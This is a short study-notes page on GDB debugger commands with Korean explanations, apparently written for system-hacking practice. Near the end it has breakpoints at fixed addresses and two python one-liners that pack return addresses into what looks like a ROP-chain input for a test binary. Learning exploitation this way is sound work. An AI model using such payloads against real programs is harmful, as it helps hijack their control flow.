GDB Commands

Creator
Creator
Seonglae ChoSeonglae Cho
Created
Created
2024 Jun 3 5:16
Editor
Edited
Edited
2024 Jun 13 5:27
Refs
Refs
  • p print variable symbol
  • b break main
  • r run 처음부터
  • c continue 이어서
  • x examine 메모리 임의 값 관찰
    • i instruction
    • s string
    • x hex
    • d decimal
    • u unsigned
    • t 2진수
    • f 부동소수점
  • i info
    • info proc mappings info registers info registers rax
 
 
  • si step into 함수 내부로 진입
  • ni next instruction 함수 내부로 진입 X
  • finish 함수의 끝까지 실행
  • k kill
  • pd pdisas
 
 
b *0x401270 b *0x4012a0 b *0x4012b0 b *0x401346 break *0x401521 run 16 run <<< $(python3 -c 'from struct import pack; p = pack("<Q", 0x000000) + pack("<Q", 0x401643) + pack("<Q", 0x402004) + pack("<Q", 0x4012c0) + pack("<Q", 0x4012b0) + pack("<Q", 0x401346); print(p.decode("latin-1"))')
run <<< $(python3 -c 'from struct import pack; p = pack("<Q", 0x000000) + pack("<Q", 0x401623) + pack("<Q", 0x402004) + pack("<Q", 0x401270) + pack("<Q", 0x4012a0) + pack("<Q", 0x401326); print(p.decode("latin-1"))')
 
System Hacking 배경 지식 정리
GDB GDB 명령어 정리 b: break c: continue (이어서) r: run (처음부터) r $(python3 -c "print('AA'*10)") : 인자와 함께 프로그램 실행 r $(echo '11') <<< $(python3 -c "print('AA'*
System Hacking 배경 지식 정리
 

Recommendations